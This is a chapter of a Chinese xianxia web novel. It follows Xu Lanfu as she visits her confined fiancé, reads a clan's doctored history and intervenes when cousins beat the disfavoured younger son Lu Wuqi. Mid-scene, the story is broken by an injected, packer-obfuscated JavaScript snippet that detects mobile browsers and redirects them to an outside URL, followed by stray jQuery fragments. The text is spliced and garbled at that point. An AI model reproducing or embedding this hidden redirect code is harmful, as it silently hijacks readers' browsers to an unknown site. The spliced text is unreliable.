3. 试探
作品:《反派不可能会救赎》 骤雨初晴,庭院之中积水如镜,草木的清新气息笼罩弥漫,鸟雀在枝头轻啼,啄羽时震荡下凝留在枝头的一串串如珠玉的水滴。
许兰拂用过早饭后前往正厅,只有方婧在那,不见其他人,便询问:“伯母,子昀呢?”
经过昨夜一事,方婧的面容很是憔悴,看见许兰拂勉强笑脸相迎,“子昀……他口出无状,顶撞父亲,关进柴房思过了。”
“你初来陆府就叫你瞧见这么不好的事。”方婧歉意道,给许兰拂塞了一大袋灵石,“子昀实在不能陪你了,若是无聊,就出府去主街瞧瞧,喜欢什么就去买。”
许兰拂没扭捏,欣然收下,“多谢伯母。”
方婧实在疲累,回房歇息去了。
跟在许兰拂身后的绿绮问:“小姐,想去哪里?”
许兰拂沉思良久,“去柴房吧。”
二人平日相处虽相敬如宾,但如今陆子昀落难了,她也得去瞧瞧,最好是从他嘴里套出什么话。
柴房平日除了厨子不会有旁人来,昨夜又下雨,周遭又冷又湿,透过落锁却关不紧的门缝里看到了陆子昀。
他的白袍被污泥染脏,仍然盘膝而坐,脊背挺得很直,闭目养神,一副风轻云淡的模样。
许兰拂使了道净尘诀,背过陆子昀坐在门前。
两个人很久都没说话,半晌陆子昀无奈开口,似是叹息:“兰拂,抱歉,今日无法陪你出去了。”
许兰拂指尖轻敲膝盖,“怎么弄的这么狼狈?”
陆子昀:“惹恼了父亲。”
“你常年在陵光院修行,无人不赞你一句朗月君子,从不与人动气,昨日才归家就进柴房闭门思过……”许兰拂轻笑了声,“因为无期?”
陆子昀沉默。
“你也瞧见了,家里……”陆子昀不知如何讲,只道,“兰拂,在我关禁闭的这段时日,劳烦你多关照些无期。”
许兰拂嘴上答应下来,“自然,应该的。”
顿了顿,许兰拂续言,半开玩笑:“需要我偷偷给你拿些吃食吗?”
陆子昀无奈:“不必,多谢。”
许兰拂没听到什么有用的,便站起身,抬步往外走,关合柴房的院门时,听到陆子昀的低声道谢,弥散在风里。
绿绮见许兰拂出来,立刻跟上。
许兰拂没打算出府,直接往陆府的藏书阁走,绿绮在书阁外候着,刚一推门,琳琅满目的书册整整齐齐的罗列在书架上,明确分类,倒是方便了找书。
她目标明确,走向修仙史类的书架,抽出一本翻看起来。
许兰拂一目十行,翻阅的速度很快。
千百年前,众宗门各立一方进行管辖,与肆虐的妖兽对抗,共同守护普通百姓。
直到宗门之首长明宗出了一个叛徒。
姓许的妖女勾结妖族,屠尽长明宗,其余宗门抵御兽潮,死伤大半,元气大伤,修士人数锐减。
各大宗门分崩离析,幸存之人重新分划管辖地,划出七城,经过多年的变化,七城已经固定下来。
北洲云阙城沈氏,悬剑城萧氏。
中洲天衍城钟离氏。
南洲仙灵城许氏,风羽城陆氏。
东洲千机城白氏。
西洲浮生城卫氏。
七城的力量逐渐增强后,在两百年前合力剿杀妖族,妖族几近覆灭,维持了多年和平。
许兰拂合上书册。
她初步判定修仙史书上半真半假。
第一,妖族不是她勾结的,这很泼脏水了。
第二,经过千百年的演化,没有宗门,只有冠上姓氏的独裁统治,把资源牢牢掌控在城内,其余散修若想提升能力就要择主投诚,从而壮大城池的势力。
没有妖族的侵袭,七城表面平和,互相制衡,互相争锋。
许兰拂换了一本有关于陆氏的发家史书,里面洋洋洒洒写陆轶如何艰难承担重责,保下长明宗的资源,最后发扬光大。
通篇下来让她翻译就是:
千百年前,在与妖族大战后,长明宗元气大伤,宗主逝,三尊失踪,长老们重伤昏迷,不久后死去,掌刑堂堂主陆轶带着长明宗所剩资源来到风羽城,就此发家。
许兰拂咂舌。
真是个强盗做派。
她合上书放回原位,刚出藏书阁,一个小厮跌跌撞撞地跑过来,绿绮一拦,小厮直接跪下磕头道:“许小姐,求求您……求求您救救二少爷……”
他膝行向前,被绿绮拦下,“阿满,许小姐是贵客,不要放肆。”
“对、对不起,我是二少爷的贴身小厮,叫阿满。”他连忙开口,面上焦急,“许小姐,大少爷来人吩咐过,他在禁闭期间……大小事务都可交由许小姐决断。”
许兰拂眉尾稍挑。
陆子昀竟然这么信任她啊……
“莫慌,带我去瞧瞧。”许兰拂温言让阿满起身,吩咐他带路。
阿满的心稍稍安定几分,带许兰拂去往陆无期的院子。
许兰拂在路上简单了解情况,经过阿满的叙述,她才知道陆府上下的表面和谐居然是装给陆尧章看的,私底下捧高踩低。
而作为陆尧章明面不喜的儿子,不论是主支还是旁支,其他人也都可以踩一脚。若这些行为被陆尧章注意到,修行资源也许能够得的更多。
许兰拂明白了。
陆尧章不一定不知道,但是他睁一只眼闭一只眼,默许了这些行为。
阿满愤愤:“大少爷在的时候他们还不敢如此放肆,大少爷刚被家主关了禁闭,他们就这么嚣张。”
在其他人眼中,陆子昀相当于下一个家主候选人,他想要护着陆无期,不会不给他面子,但他不在就是另一说了。
许兰拂问道:“那昨夜下毒一事,家主如何处理?”
一说起这个,阿满顿时泄了气,支支吾吾:“家主……把厨师赶出府了,不再录用。”
好一个轻拿轻放。
许兰拂在心里对陆无期在陆府的情况有了大致了解。
陆无期的院子极为偏僻,在偌大陆府里地段最差的地方。矮墙开裂,攀爬着枯黄的藤叶,在墙角有一棵老槐树,树枝歪扭,还压着一只沉甸甸的乌鸦。
周遭灵气稀薄,采光也不好,显得此处阴气森森,凄凉孤寂。
许兰拂打量着,觉得下人房都比这里的构造好。
他们刚走到院子外,里面的声音就已经传了出来。
一道极为嚣张的男音:“陆无期,好好跪着,陆家的一条狗而已,摆不正自己的位置吗?”
另一道慢吞吞的男音道:“陆罡,我们是来看着他受罚的,不是来羞辱他的。”
陆罡啧了一声,“陆蔚,你少搁这里假惺惺的,暗地里捅人刀子的事你也没少做。”
陆蔚不说话了。
“陆罡少爷,家主只让二少爷罚跪……呃!”阿满最先冲进院子里,跪在陆无期身前恳求,却被陆罡一拳砸在脸上,瞬间唇角开裂流出血来。
“哪来的奴隶?真碍眼。”陆罡一脚踹翻阿满,踩着他的肩膀一点点施力,痛得阿满脸色惨白,连痛呼都发不出。
陆无期死死抓住陆罡的裤脚,面色沉了下来:“你有什么气冲着我来……”
话音未落,陆罡一掌劈在陆无期的手腕上,筋骨错位,下一瞬他的脚踩在陆无期的手指上,狠狠碾了碾。
陆无期咬牙忍耐,一声没吭。
陆罡咧开嘴笑了:“真是有什么主子就有什么奴隶。”
“风刃。”
陆罡马上就要施力踩断陆无期的手指时,凌厉的攻击比他的动作更快,灵气化刃,瞬间刺破他的脚踝,鲜血迸溅。
“谁啊?多管闲事。”他吃痛,松了力道,不由自主向后退了几步,骂骂咧咧地看向门口。
灵气收回之时荡起一阵微风,吹起许兰拂额间的碎发,没等陆罡反应过来,右脸一阵火辣辣的痛,让他眼冒金星。
陆蔚慢吞吞问好:“许小姐,绿绮管事。”
陆罡被许兰拂隔空的一巴掌打的心头火起,陆蔚这一声问好让他看到来人是谁,顿时吃了哑巴亏,咬牙切齿问好道:“许小姐,绿绮管事。”
许兰拂没出声,绿绮微笑道:“陆罡少爷竟然学会阳奉阴违了。”
陆罡的冷汗瞬间流下,磕磕巴巴回答
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464584|169801||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“不、不敢。”
绿绮道:“家主只说罚陆无期跪满四个时辰,没有说其他刑罚,若有私人恩怨,去擂台场生死决斗,这点规矩不懂么?”
陆罡咬牙回:“懂。”
陆蔚察觉到绿绮的目光落在他身上,也赶紧回答:“懂了。”
绿绮仍然笑眯眯的:“那就请两位少爷回去歇着吧。”
陆罡愤愤不平,但无可奈何。
陆尧章平日在外,不常回府,陆府内的财政权和处置权都在方婧一个人手中,绿绮是她亲手提拔出来的管事,绿绮的态度就相当于方婧的态度。
陆罡勉强行礼离开。陆蔚扫了眼许兰拂,也跟着离开了。
许兰拂缓步走向被阿满扶起的陆无期,弯起一个似是无奈的弧度:“先回房间吧。”
陆无期不语,惩罚时间还没结束,他重新跪好,蜷了蜷血肉模糊的手指。
陆罡是体修,他方才的力道有灵气加持,再加大一点力气就指骨碎裂,皮开肉绽了。
阿满闷闷呛咳,嘴角开裂受伤,只能含糊不清的道谢:“谢谢许小姐,谢谢绿绮管事……”
绿绮拿出一块传音牌,叫来医师,就识相地退到院外等候了。
许兰拂一早就知道她在陆府会受到方婧的监视,亦或是说考察,考察她是否听话安分。
她们彼此心知肚明,仙灵城和风羽城有合作,以联姻为系,许兰拂是仙灵城主支一脉的大小姐,该有的体面一定会有。
但许兰拂绝对不会拥有风羽城的管家权。
许兰拂知道自己只需要伪装一个温柔和善的花瓶,不需要能带给陆子昀什么助力,只要本分就好。
她当然也这么做,按照陆子昀的要求行事,做个对弟弟温柔的长嫂,让任何人都挑不出错。
许兰拂蹲下身,握住陆无期脱臼的手腕,丝丝缕缕的温热灵力传出,细密修补好他部分被踩碎的经脉。
她一边进行简单治疗一边说:“疼就说出来,我会轻些。”
陆无期抿唇,“不疼,谢谢嫂嫂。”
许兰拂闲聊问道:“跟你无关,家主为何要罚你?”
陆无期沉默许久,低声回复:“若不是我,昨夜府内不会一片混乱,扰了家主清净。”
许兰拂动作一顿,趁此时将他的手腕正骨,陆无期猝不及防,痛得闷哼一声。
“好了。”许兰拂欲要收回手,却反被陆无期扣住,她抽不回来,抬起对上陆无期的眼睛。
他的眼型很好看,眼尾因方才的疼痛而泛起一丝浅红,可怜极了。
许兰拂不偏不倚,与他坦坦荡荡对视,甚至有些好笑问道:“是我弄疼你了么?”
陆无期摇摇头,还是没有收回手,抬首轻轻说:“昨夜我半昏迷期间,看到一盏灯,昏黄的,印有雪梅的提灯。”
许兰拂不动声色,状似不解,像哄小孩般柔声:“喜欢灯吗?今夜我遣人送你一盏可好?”
陆无期盯着她半晌,倏然浅笑:“好,多谢嫂嫂。”
他话锋一转,“那嫂嫂可知,那厨子在糕点里掺的毒是什么?”
许兰拂站起身,陆无期的力道放轻,她很轻松地抽出,没有正面回答,仍然是温柔嫂嫂的模样:“是吓到了吗?日后不会再有此事了。”
陆无期眸色微暗,莞尔道:“好。”
医师姗姗来迟,此时陆无期的惩罚时间到了,被阿满扶着站起身,踉跄一下,发丝凌乱散落,他的衣袍并不合身,显得宽大。
许兰拂温言:“让医师好好给你检查一下,不要讳疾忌医,安心休息吧。”
陆无期扬起一个乖巧的笑意:“好的嫂嫂。”
许兰拂站在原地,待他入屋后,脸上挂着的笑意瞬间垮了下来,回到自己的院子内。
当夜,许兰拂遵循诺言,将那夜的提灯遣人送到陆无期手上,如他记忆那样,雪梅点缀在暖黄的灯面,映亮了黑暗的房间一角。
陆无期托着下颌,眸色晦暗不明。
半晌,他轻笑一声,熄灭提灯的烛火,房间内陷入一片黑暗。
陆无期的嗓音意味不明,字尾缱绻。
“嫂嫂。”